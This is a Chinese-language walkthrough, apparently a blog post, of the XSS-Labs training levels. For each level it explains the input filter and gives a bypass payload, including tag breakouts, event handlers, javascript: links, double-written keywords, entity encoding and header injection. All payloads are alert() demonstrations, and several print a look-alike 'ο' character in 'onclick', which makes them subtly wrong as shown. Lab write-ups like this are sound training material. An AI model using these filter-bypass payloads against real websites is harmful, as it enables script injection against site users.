XSS-Labs练习

pass01:

无任何过滤,直接输入js语句就可以。

<script>alert(1)</script>

pass02:

需要闭合input标签,再插入js语句。

payload:"><script>alert(1)</script>

pass03:

使用了函数htmlspecialchars:

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

预定义的字符是:

  • & (和号)成为 &
  • " (双引号)成为 "
  • ' (单引号)成为 '
  • < (小于)成为 <
  • > (大于)成为 >

因此,不能使用<>,可以使用payload:' οnclick=‘alert(1),需要点击才能触发。

pass04:

和第三关类似,闭合为"。

payload:" οnclick="alert(1)。

pass05:

限制了script和on字符---->替换成scr_pt 和o_n ,使用a标签的js伪协议实现href属性支持javascript:伪协议构造poc 产生一个链接

payload:"> <a href=javascript:alert('xss') > xss</a> //。

pass06:

限制了script、on、src、data、href。但是没有限制大小写。

payload:"><Script>alert(1)</Script>

pass07:

限制了script、on、src、data、href和大小写·。可以双写script进行绕过。

payload:"><ScrScriptipt>alert(1)</ScrScriptipt>

pass08:

采用和第五关差不多的方法。但是由于会限制script,因此需要进行Unicode编码。

payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

pass09:

和第八关相比,增加了判断是否含有http://。

因此在第八关payload的基础上增加字符串http://。

payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

pass10:

输入框被隐藏。因为是前端代码,我们将隐藏去除。

payload:&t_sort=" οnclick="alert(1)

pass11:

$str11=$_SERVER['HTTP_REFERER'];

因此,可以构造数据包,给referer赋值。

payload:referer:"type="text" οnclick="alert('xss')

pass12:

修改:User-Agent

payload:"type="text" οnclick="alert('xss')

pass13:

修改cookie.

payload:"type="text" οnclick="alert('xss')

pass16:

绕过思路:可以用回车来将它们分开。
payload:<img%0Asrc=1%0Aοnerrοr=alert(1)>

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值